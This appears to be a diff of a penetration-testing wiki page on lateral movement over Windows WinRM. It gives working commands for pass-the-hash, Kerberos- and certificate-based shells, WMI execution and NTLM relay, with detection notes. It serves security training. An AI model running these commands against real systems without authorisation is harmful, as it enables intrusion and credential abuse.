|
2 | 2 |
|
3 | 3 | {{#include ../../banners/hacktricks-training.md}} |
4 | 4 |
|
5 | | -For information about [**WinRM read this page**](../../network-services-pentesting/5985-5986-pentesting-winrm.md). |
| 5 | +WinRM is one of the most convenient **lateral movement** transports in Windows environments because it gives you a remote shell over **WS-Man/HTTP(S)** without needing SMB service creation tricks. If the target exposes **5985/5986** and your principal is allowed to use remoting, you can often move from "valid creds" to "interactive shell" very quickly. |
6 | 6 |
|
7 | | -{{#include ../../banners/hacktricks-training.md}} |
| 7 | +For the **protocol/service enumeration**, listeners, enabling WinRM, `Invoke-Command`, and generic client usage, check: |
| 8 | + |
| 9 | +{{#ref}} |
| 10 | +../../network-services-pentesting/5985-5986-pentesting-winrm.md |
| 11 | +{{#endref}} |
| 12 | + |
| 13 | +## Why operators like WinRM |
| 14 | + |
| 15 | +- Uses **HTTP/HTTPS** instead of SMB/RPC, so it often works where PsExec-style execution is blocked. |
| 16 | +- With **Kerberos**, it avoids sending reusable credentials to the target. |
| 17 | +- Works cleanly from **Windows**, **Linux**, and **Python** tooling (`winrs`, `evil-winrm`, `pypsrp`, `netexec`). |
| 18 | +- The interactive PowerShell remoting path spawns **`wsmprovhost.exe`** on the target under the authenticated user context, which is operationally different from service-based exec. |
| 19 | + |
| 20 | +## Access model and prerequisites |
| 21 | + |
| 22 | +In practice, successful WinRM lateral movement depends on **three** things: |
| 23 | + |
| 24 | +1. The target has a **WinRM listener** (`5985`/`5986`) and firewall rules that allow access. |
| 25 | +2. The account can **authenticate** to the endpoint. |
| 26 | +3. The account is allowed to **open a remoting session**. |
| 27 | + |
| 28 | +Common ways to gain that access: |
| 29 | + |
| 30 | +- **Local Administrator** on the target. |
| 31 | +- Membership in **Remote Management Users** on newer systems or **WinRMRemoteWMIUsers__** on systems/components that still honor that group. |
| 32 | +- Explicit remoting rights delegated through local security descriptors / PowerShell remoting ACL changes. |
| 33 | + |
| 34 | +If you already control a box with admin rights, remember you can also **delegate WinRM access without full admin group membership** using the techniques described here: |
| 35 | + |
| 36 | +{{#ref}} |
| 37 | +../active-directory-methodology/security-descriptors.md |
| 38 | +{{#endref}} |
| 39 | + |
| 40 | +### Authentication gotchas that matter during lateral movement |
| 41 | + |
| 42 | +- **Kerberos requires a hostname/FQDN**. If you connect by IP, the client usually falls back to **NTLM/Negotiate**. |
| 43 | +- In **workgroup** or cross-trust edge cases, NTLM commonly requires either **HTTPS** or the target to be added to **TrustedHosts** on the client. |
| 44 | +- With **local accounts** over Negotiate in a workgroup, UAC remote restrictions may prevent access unless the built-in Administrator account is used or `LocalAccountTokenFilterPolicy=1`. |
| 45 | +- PowerShell remoting defaults to the **`HTTP/<host>` SPN**. In environments where `HTTP/<host>` is already registered to some other service account, WinRM Kerberos may fail with `0x80090322`; use a port-qualified SPN or switch to **`WSMAN/<host>`** where that SPN exists. |
| 46 | + |
| 47 | +If you land valid credentials during password spraying, validating them over WinRM is often the fastest way to check whether they translate into a shell: |
| 48 | + |
| 49 | +{{#ref}} |
| 50 | +../active-directory-methodology/password-spraying.md |
| 51 | +{{#endref}} |
| 52 | + |
| 53 | +## Linux-to-Windows lateral movement |
| 54 | + |
| 55 | +### NetExec / CrackMapExec for validation and one-shot execution |
| 56 | + |
| 57 | +```bash |
| 58 | +# Validate creds and execute a simple command |
| 59 | +netexec winrm <HOST_FQDN> -u <USER> -p '<PASSWORD>' -x "whoami /all" |
| 60 | + |
| 61 | +# Pass-the-Hash |
| 62 | +netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -x "hostname" |
| 63 | + |
| 64 | +# PowerShell command instead of cmd.exe |
| 65 | +netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -X '$PSVersionTable' |
| 66 | +``` |
| 67 | + |
| 68 | +### Evil-WinRM for interactive shells |
| 69 | + |
| 70 | +`evil-winrm` remains the most convenient interactive option from Linux because it supports **passwords**, **NT hashes**, **Kerberos tickets**, **client certificates**, file transfer, and in-memory PowerShell/.NET loading. |
| 71 | + |
| 72 | +```bash |
| 73 | +# Password |
| 74 | +evil-winrm -i <HOST_FQDN> -u <USER> -p '<PASSWORD>' |
| 75 | + |
| 76 | +# Pass-the-Hash |
| 77 | +evil-winrm -i <HOST_FQDN> -u <USER> -H <NTHASH> |
| 78 | + |
| 79 | +# Kerberos using an existing ccache/kirbi |
| 80 | +export KRB5CCNAME=./user.ccache |
| 81 | +evil-winrm -i <HOST_FQDN> -r <REALM.LOCAL> |
| 82 | +``` |
| 83 | + |
| 84 | +### Kerberos SPN edge case: `HTTP` vs `WSMAN` |
| 85 | + |
| 86 | +When the default **`HTTP/<host>`** SPN causes Kerberos failures, try requesting/using a **`WSMAN/<host>`** ticket instead. This appears in hardened or odd enterprise setups where `HTTP/<host>` is already attached to another service account. |
| 87 | + |
| 88 | +```bash |
| 89 | +# Example: use a WSMAN ticket instead of the default HTTP SPN |
| 90 | +export KRB5CCNAME=administrator@WSMAN_srv01.domain.local@DOMAIN.LOCAL.ccache |
| 91 | +evil-winrm -i srv01.domain.local -r DOMAIN.LOCAL --spn WSMAN |
| 92 | +``` |
| 93 | + |
| 94 | +This is also useful after **RBCD / S4U** abuse when you specifically forged or requested a **WSMAN** service ticket rather than a generic `HTTP` ticket. |
| 95 | + |
| 96 | +### Certificate-based authentication |
| 97 | + |
| 98 | +WinRM also supports **client certificate authentication**, but the certificate must be mapped on the target to a **local account**. From an offensive perspective this matters when: |
| 99 | + |
| 100 | +- you stole/exported a valid client certificate and private key already mapped for WinRM; |
| 101 | +- you abused **AD CS / Pass-the-Certificate** to obtain a certificate for a principal and then pivot into another authentication path; |
| 102 | +- you are operating in environments that deliberately avoid password-based remoting. |
8 | 103 |
|
| 104 | +```bash |
| 105 | +evil-winrm -i <HOST_FQDN> -S -c user.crt -k user.key |
| 106 | +``` |
| 107 | + |
| 108 | +Client-certificate WinRM is much less common than password/hash/Kerberos auth, but when it exists it can provide a **passwordless lateral movement** path that survives password rotation. |
| 109 | + |
| 110 | +### Python / automation with `pypsrp` |
| 111 | + |
| 112 | +If you need automation rather than an operator shell, `pypsrp` gives you WinRM/PSRP from Python with **NTLM**, **certificate auth**, **Kerberos**, and **CredSSP** support. |
| 113 | + |
| 114 | +```python |
| 115 | +from pypsrp.client import Client |
| 116 | + |
| 117 | +client = Client( |
| 118 | + "srv01.domain.local", |
| 119 | + username="DOMAIN\\user", |
| 120 | + password="Password123!", |
| 121 | + ssl=False, |
| 122 | +) |
| 123 | +stdout, stderr, rc = client.execute_cmd("whoami /all") |
| 124 | +print(stdout, stderr, rc) |
| 125 | +``` |
| 126 | + |
| 127 | +## Windows-native WinRM lateral movement |
| 128 | + |
| 129 | +### `winrs.exe` |
| 130 | + |
| 131 | +`winrs.exe` is built in and useful when you want **native WinRM command execution** without opening an interactive PowerShell remoting session: |
| 132 | + |
| 133 | +```cmd |
| 134 | +winrs -r:srv01.domain.local cmd /c whoami |
| 135 | +winrs -r:https://srv01.domain.local:5986 -u:DOMAIN\\user -p:Password123! hostname |
| 136 | +``` |
| 137 | + |
| 138 | +Operationally, `winrs.exe` commonly results in a remote process chain similar to: |
| 139 | + |
| 140 | +```text |
| 141 | +svchost.exe (DcomLaunch) -> winrshost.exe -> cmd.exe /c <command> |
| 142 | +``` |
| 143 | + |
| 144 | +This is worth remembering because it differs from service-based exec and from interactive PSRP sessions. |
| 145 | + |
| 146 | +### `winrm.cmd` / WS-Man COM instead of PowerShell remoting |
| 147 | + |
| 148 | +You can also execute through **WinRM transport** without `Enter-PSSession` by invoking WMI classes over WS-Man. This keeps the transport as WinRM while the remote execution primitive becomes **WMI `Win32_Process.Create`**: |
| 149 | + |
| 150 | +```cmd |
| 151 | +winrm invoke Create wmicimv2/Win32_Process @{CommandLine="cmd.exe /c whoami > C:\\Windows\\Temp\\who.txt"} -r:srv01.domain.local |
| 152 | +``` |
| 153 | + |
| 154 | +That approach is useful when: |
| 155 | + |
| 156 | +- PowerShell logging is heavily monitored. |
| 157 | +- You want **WinRM transport** but not a classic PS remoting workflow. |
| 158 | +- You are building or using custom tooling around the **`WSMan.Automation`** COM object. |
| 159 | + |
| 160 | +## NTLM relay to WinRM (WS-Man) |
| 161 | + |
| 162 | +When SMB relay is blocked by signing and LDAP relay is constrained, **WS-Man/WinRM** may still be an attractive relay target. Modern `ntlmrelayx.py` includes **WinRM relay servers** and can relay to **`wsman://`** or **`winrms://`** targets. |
| 163 | + |
| 164 | +```bash |
| 165 | +# Relay to HTTP WinRM |
| 166 | +ntlmrelayx.py -t wsman://srv01.domain.local --no-smb-server -smb2support |
| 167 | + |
| 168 | +# Relay to HTTPS WinRM |
| 169 | +ntlmrelayx.py -t winrms://srv01.domain.local --no-smb-server -smb2support |
| 170 | +``` |
| 171 | + |
| 172 | +Two practical notes: |
| 173 | + |
| 174 | +- Relay is most useful when the target accepts **NTLM** and the relayed principal is allowed to use WinRM. |
| 175 | +- Recent Impacket code specifically handles **`WSMANIDENTIFY: unauthenticated`** requests so `Test-WSMan`-style probes do not break the relay flow. |
| 176 | + |
| 177 | +For multi-hop constraints after landing a first WinRM session, check: |
| 178 | + |
| 179 | +{{#ref}} |
| 180 | +../active-directory-methodology/kerberos-double-hop-problem.md |
| 181 | +{{#endref}} |
| 182 | + |
| 183 | +## OPSEC and detection notes |
| 184 | + |
| 185 | +- **Interactive PowerShell remoting** usually creates **`wsmprovhost.exe`** on the target. |
| 186 | +- **`winrs.exe`** commonly creates **`winrshost.exe`** and then the requested child process. |
| 187 | +- Expect **network logon** telemetry, WinRM service events, and PowerShell operational/script-block logging if you use PSRP rather than raw `cmd.exe`. |
| 188 | +- If you only need a single command, `winrs.exe` or one-shot WinRM execution may be quieter than a long-lived interactive remoting session. |
| 189 | +- If Kerberos is available, prefer **FQDN + Kerberos** over IP + NTLM to reduce both trust issues and awkward client-side `TrustedHosts` changes. |
| 190 | + |
| 191 | +## References |
| 192 | + |
| 193 | +- [Evil-WinRM README](https://github.com/Hackplayers/evil-winrm) |
| 194 | +- [Microsoft: Error `0x80090322` when connecting PowerShell to a remote server via WinRM](https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/error-0x80090322-when-connecting-powershell-to-remote-server-via-winrm) |
| 195 | + |
| 196 | +{{#include ../../banners/hacktricks-training.md}} |
9 | 197 |
|
10 | 198 |
|
0 commit comments